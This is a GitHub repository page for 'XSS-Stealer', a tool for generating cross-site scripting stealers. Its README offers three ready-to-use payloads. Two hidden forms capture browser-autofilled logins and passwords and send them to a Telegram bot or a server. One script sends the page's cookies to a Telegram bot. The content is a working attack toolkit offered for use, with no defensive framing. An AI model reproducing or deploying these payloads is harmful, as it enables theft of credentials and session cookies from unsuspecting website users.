Skip to content

CrazyProger1/XSS-Stealer

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

7 Commits
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

XSS-Stealer

Simple utility to generate XSS-based stealers.

Usage

Install requirements:

pip install -r requirements.txt

Run:

python -m stealer

Examples

Passwords-Telegram

Steals the password and login using form autofill and sends it to the Telegram Bot.

XSS-Types:

  • Reflected
  • Stored

passwords-telegram

Result code:

<form style="display: none" onchange="fetch(`https://api.telegram.org/bot123456:ABC-DEF1234ghIkl-zyx57W2v1u123ew11/sendMessage?text=${this.u.value};${this.p.value}&chat_id=123123123`)"><input id="u" autocomplete="username"><input id="p" type="password" autocomplete="password"></form>

Cookies-Telegram

Steals the cookies and sends it to the Telegram Bot.

XSS-Types:

  • Reflected
  • Stored

cookies-telegram

Result code:

<script>fetch(`https://api.telegram.org/bot123456:ABC-DEF1234ghIkl-zyx57W2v1u123ew11/sendMessage?text=${document.cookie}&chat_id=123123123`)</script>

Passwords-Server

Steals the password and login using form autofill and sends it to the Server.

XSS-Types:

  • Reflected
  • Stored

cookies-telegram

<form style="display: none" onchange="fetch(`https://example.com?c=${this.u.value};${this.p.value}`)"><input id="u" autocomplete="username"><input id="p" type="password" autocomplete="password"></form>

Licence

XSS-Stealer is released under the MIT License. See the bundled LICENSE file for details.